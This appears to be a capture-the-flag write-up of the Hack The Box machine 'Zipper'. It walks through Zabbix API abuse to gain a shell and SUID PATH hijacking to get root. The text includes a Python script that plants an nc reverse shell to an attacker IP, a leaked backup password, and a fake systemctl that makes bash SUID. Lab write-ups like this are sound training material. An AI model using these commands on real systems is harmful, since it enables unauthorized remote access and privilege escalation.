Zipper
Gaining Access
Nmap scan:
$ nmap -p- --min-rate 3000 10.129.1.198
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-14 23:19 EDT
Nmap scan report for 10.129.1.198
Host is up (0.0099s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
10050/tcp open zabbix-agent
Detailed scan:
$ nmap -p 22,80,10050 -sC -sV --min-rate 3000 10.129.1.198
Starting Nmap 7.93 ( https://nmap.org ) at 2024-03-14 23:21 EDT
Nmap scan report for 10.129.1.198
Host is up (0.0075s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 5920a3a098f2a7141e08e09b8172990e (RSA)
| 256 aafe25f821247cfcb54b5f0524694c76 (ECDSA)
|_ 256 892837e2b6ccd580381fb26a3ac3a184 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
10050/tcp open tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Added zipper.htb
to the /etc/hosts
file as per standard HTB practice.
Web Enum -> Zabbix
Port 80 shows the default Apache2 page:
Running a gobuster
scan reveals a /zabbix
directory:
$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -k -u http://zipper.htb
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://zipper.htb
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/zabbix (Status: 301) [Size: 309] [-> http://zipper.htb/zabbix/]
Zabbix is an open-source software used to monitor IT infrastructure via a dashboard, and it does have its fair share of vulnerabilities.
Visiting the directory returns a login page:
I didn't have any credentials, so I signed in as a guest user. When the dashboard is viewed, there's a version at the bottom:
Zabbix 3.0.21 is running, and it is likely outdated and has public exploits for it. Interestingly, when looking at the dashboard, I can see that there is a zapper
user or machine:
This entity has a backup script. zapper
sounds like a user of some sorts. If I attempt to login with zapper:zapper
, I get a unique error message:
This means the the password is legitimately zapper
, since it did not return an invalid password error. I took a look at the documentation for Zabbix , and found that there was an API:
This was located at the api_jsonrpc.php
file.
Zabbix API
Firstly, since GUI access was disabled, it is likely that I have to use the credentials I found to sign in.
This can be done using curl
:
$ curl http://zipper.htb/zabbix/api_jsonrpc.php -H "Content-Type: application/json-rpc" -d '{"jsonrpc":"2.0", "method":"user.login", "id":1, "params":{"user": "zapper", "password": "zapper"}}'
{"jsonrpc":"2.0","result":"06240f1bd5926c26e2d5ef2e8ffe214e","id":1}
Using this token, I can perform some authenticated actions like listing hosts:
$ curl --request POST --url 'http://zipper.htb/zabbix/api_jsonrpc.php' --header 'Content-Type: application/json-rpc' --data '{"jsonrpc":"2.0","method":"host.get","params":{"output":["hostid"]},"auth":"06240f1bd5926c26e2d5ef2e8ffe214e","id":1}'
{"jsonrpc":"2.0","result":[{"hostid":"10105"},{"hostid":"10106"}],"id":1}
Now that I have privileges over this, I took a look at the users present:
$ curl --request POST --url 'http://zipper.htb/zabbix/api_jsonrpc.php' --header 'Content-Type: application/json-rpc' --data '{"jsonrpc":"2.0","method":"user.get","params":{"output":["hostid"]},"auth":"06240f1bd5926c26e2d5ef2e8ffe214e","id":1}'
{"jsonrpc":"2.0","result":[{"userid":"1"},{"userid":"2"},{"userid":"3"}],"id":1}
This output can be extended using extend
:
$ curl --silent --request POST --url 'http://zipper.htb/zabbix/api_jsonrpc.php' --header 'Content-Type: application/json-rpc' --data '{"jsonrpc":"2.0","method":"user.get","params":{"output":"extend"},"auth":"06240f1bd5926c26e2d5ef2e8ffe214e","id":1}' | jq .
{
"jsonrpc": "2.0",
"result": [
{
"userid": "1",
"alias": "Admin",
"name": "Zabbix",
"surname": "Administrator",
"url": "",
"autologin": "1",
"autologout": "0",
"lang": "en_GB",
"refresh": "30",
"type": "3",
"theme": "default",
"attempt_failed": "0",
"attempt_ip": "",
"attempt_clock": "0",
"rows_per_page": "50"
},
{
"userid": "2",
"alias": "guest",
"name": "",
"surname": "",
"url": "",
"autologin": "1",
"autologout": "0",
"lang": "en_GB",
"refresh": "30",
"type": "1",
"theme": "default",
"attempt_failed": "0",
"attempt_ip": "",
"attempt_clock": "0",
"rows_per_page": "50"
},
{
"userid": "3",
"alias": "zapper",
"name": "zapper",
"surname": "",
"url": "",
"autologin": "0",
"autologout": "0",
"lang": "en_GB",
"refresh": "30",
"type": "3",
"theme": "default",
"attempt_failed": "0",
"attempt_ip": "",
"attempt_clock": "0",
"rows_per_page": "50"
}
],
"id": 1
}
So there's an admin
user as well. When reading the API documentation, I found out that it can be used to execute scripts:
{% embed url="https://www.zabbix.com/documentation/current/en/manual/api/reference/script" % }
Based on the above, I first took a look at the existing scripts:
$ curl --silent --request POST --url 'http://zipper.htb/zabbix/api_jsonrpc.php' --header 'Content-Type: application/json-rpc' --data '{"jsonrpc":"2.0","method":"script.get","params":{"output":"extend"},"auth":"06240f1bd5926c26e2d5ef2e8ffe214e","id":1}' | jq .
{
"jsonrpc": "2.0",
"result": [
{
"scriptid": "1",
"name": "Ping",
"command": "/bin/ping -c 3 {HOST.CONN} 2>&1",
"host_access": "2",
"usrgrpid": "0",
"groupid": "0",
"description": "",
"confirmation": "",
"type": "0",
"execute_on": "1"
},
{
"scriptid": "2",
"name": "Traceroute",
"command": "/usr/bin/traceroute {HOST.CONN} 2>&1",
"host_access": "2",
"usrgrpid": "0",
"groupid": "0",
"description": "",
"confirmation": "",
"type": "0",
"execute_on": "1"
},
{
"scriptid": "3",
"name": "Detect operating system",
"command": "sudo /usr/bin/nmap -O {HOST.CONN} 2>&1",
"host_access": "2",
"usrgrpid": "7",
"groupid": "0",
"description": "",
"confirmation": "",
"type": "0",
"execute_on": "1"
}
],
"id": 1
}
There were a few parameters, including a type
and execute_on
variable. All of them were set to 1, which refers to the Zabbix server.
I wanted to see what happens if I created two reverse shell scripts, and have one execute on 0 and one on 1.
Based on the Script object documentation, only the command
and name
parameters are required. I used this python script to create the script on the machine:
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
url = 'http://zipper.htb/zabbix/api_jsonrpc.php'
headers = {
'Content-Type':'application/json-rpc'
}
data = {
"jsonrpc":"2.0",
"method":"script.create",
"params": {
"name":"test",
"command":"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.4 4444 >/tmp/f",
"execute_on":"1"
},
"auth":"06240f1bd5926c26e2d5ef2e8ffe214e",
"id":"1"
}
r = requests.post(url, headers=headers, json=data, proxies=proxies, verify=False)
print(r.text)
This printed the scriptid
parameter:
$ python3 rce.py
{"jsonrpc":"2.0","result":{"scriptids":["4"]},"id":"1"}
Now, I have to use the script.execute
method to run it. This requires a scriptid
and hostid
to specify where to run it. I took another look at the hosts available:
$ curl --silent --request POST --url 'http://zipper.htb/zabbix/api_jsonrpc.php' --header 'Content-Type: application/json-rpc' --data '{"jsonrpc":"2.0","method":"host.get","params":{"output":"extend"},"auth":"06240f1bd5926c26e2d5ef2e8ffe214e","id":1}' | jq .
{
"jsonrpc": "2.0",
"result": [
{
"hostid": "10105",
"proxy_hostid": "0",
"host": "Zabbix",
"status": "0",
"disable_until": "0",
"error": "",
"available": "0",
"errors_from": "0",
"lastaccess": "0",
"ipmi_authtype": "-1",
"ipmi_privilege": "2",
"ipmi_username": "",
"ipmi_password": "",
"ipmi_disable_until": "0",
"ipmi_available": "0",
"snmp_disable_until": "0",
"snmp_available": "0",
"maintenanceid": "0",
"maintenance_status": "0",
"maintenance_type": "0",
"maintenance_from": "0",
"ipmi_errors_from": "0",
"snmp_errors_from": "0",
"ipmi_error": "",
"snmp_error": "",
"jmx_disable_until": "0",
"jmx_available": "0",
"jmx_errors_from": "0",
"jmx_error": "",
"name": "Zabbix",
"flags": "0",
"templateid": "0",
"description": "This host - Zabbix Server",
"tls_connect": "1",
"tls_accept": "1",
"tls_issuer": "",
"tls_subject": "",
"tls_psk_identity": "",
"tls_psk": ""
},
{
"hostid": "10106",
"proxy_hostid": "0",
"host": "Zipper",
"status": "0",
"disable_until": "0",
"error": "",
"available": "1",
"errors_from": "0",
"lastaccess": "0",
"ipmi_authtype": "-1",
"ipmi_privilege": "2",
"ipmi_username": "",
"ipmi_password": "",
"ipmi_disable_until": "0",
"ipmi_available": "0",
"snmp_disable_until": "0",
"snmp_available": "0",
"maintenanceid": "0",
"maintenance_status": "0",
"maintenance_type": "0",
"maintenance_from": "0",
"ipmi_errors_from": "0",
"snmp_errors_from": "0",
"ipmi_error": "",
"snmp_error": "",
"jmx_disable_until": "0",
"jmx_available": "0",
"jmx_errors_from": "0",
"jmx_error": "",
"name": "Zipper",
"flags": "0",
"templateid": "0",
"description": "Zipper",
"tls_connect": "1",
"tls_accept": "1",
"tls_issuer": "",
"tls_subject": "",
"tls_psk_identity": "",
"tls_psk": ""
}
],
"id": 1
}
It is likely 10106 is the machine itself, and 10105 is a container running Zabbix. Here's the final script I used to run and execute stuff:
import requests
import re
import random
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
proxies = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
url = 'http://zipper.htb/zabbix/api_jsonrpc.php'
headers = {
'Content-Type':'application/json-rpc'
}
random_name = random.randint(1000,9999)
data = {
"jsonrpc":"2.0",
"method":"script.create",
"params": {
"name":f"{random_name}",
"command":"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.4 4444 >/tmp/f",
"execute_on":"0"
},
"auth":"06240f1bd5926c26e2d5ef2e8ffe214e",
"id":"1"
}
r = requests.post(url, headers=headers, json=data, proxies=proxies, verify=False)
match = re.search(r'"scriptids":\["(\d+)"\]}',r.text)
if not match:
print('[-] script id not found')
script_id = match[1]
data = {
"jsonrpc":"2.0",
"method":"script.execute",
"params": {
"scriptid":f"{script_id}",
"hostid":"10106"
},
"auth":"06240f1bd5926c26e2d5ef2e8ffe214e",
"id":"1"
}
r = requests.post(url, headers=headers, json=data, proxies=proxies, verify=False)
Here's the outcome if execute_on
is set to 1:
And here's the outcome of setting it to 0.
Seems that one shell spawns in the container, and one on the actual host. I continued using the shell from the actual host.
Privilege Escalation
Zapper Creds
This machine had 1 user zapper
, with some interesting files:
zabbix@zipper:/home/zapper$ ls -la
ls -la
total 48
drwxr-xr-x 6 zapper zapper 4096 Sep 26 2022 .
drwxr-xr-x 3 root root 4096 Sep 8 2018 ..
lrwxrwxrwx 1 root root 9 Sep 26 2022 .bash_history -> /dev/null
-rw-r--r-- 1 zapper zapper 220 Sep 8 2018 .bash_logout
-rw-r--r-- 1 zapper zapper 4699 Sep 8 2018 .bashrc
drwx------ 2 zapper zapper 4096 Sep 8 2018 .cache
drwxrwxr-x 3 zapper zapper 4096 Sep 8 2018 .local
-rw-r--r-- 1 zapper zapper 807 Sep 8 2018 .profile
-rw-rw-r-- 1 zapper zapper 66 Sep 8 2018 .selected_editor
drwx------ 2 zapper zapper 4096 Sep 8 2018 .ssh
-rw------- 1 zapper zapper 33 Mar 15 01:14 user.txt
drwxrwxr-x 2 zapper zapper 4096 Sep 8 2018 utils
zabbix@zipper:/home/zapper/utils$ ls -al
ls -al
total 20
drwxrwxr-x 2 zapper zapper 4096 Sep 8 2018 .
drwxr-xr-x 6 zapper zapper 4096 Sep 26 2022 ..
-rwxr-xr-x 1 zapper zapper 194 Sep 8 2018 backup.sh
-rwsr-sr-x 1 root root 7556 Sep 8 2018 zabbix-service
Here's the backup.sh
script:
#!/bin/bash
#
# Quick script to backup all utilities in this folder to /backups
#
/usr/bin/7z a /backups/zapper_backup-$(/bin/date +%F).7z -pZippityDoDah /home/zapper/utils/* &>/dev/null
There was a password here, which I could use to su
to zapper
.
SUID Binary RE -> Root
There was a zabbix-service
SUID binary within the utils
directory I saw earlier. I downloaded a copy via nc
, and took a look at it within ghidra
.
The binary uses the systemctl
binary without the full PATH.
This is pretty easy to exploit:
cd /home/zapper/utils
echo '#!/bin/bash' > systemctl
echo 'chmod u+s /bin/bash' >> systemctl
chmod +x systemctl
export PATH=/home/zapper/utils:$PATH
./zabbix-service
Rooted! There were actually a LOT of different paths for the initial access. Based on 0xdf's writeup, the other paths include:
Zabbix admin's password being in the container
Public exploits
Creating a new administrator user
Last updated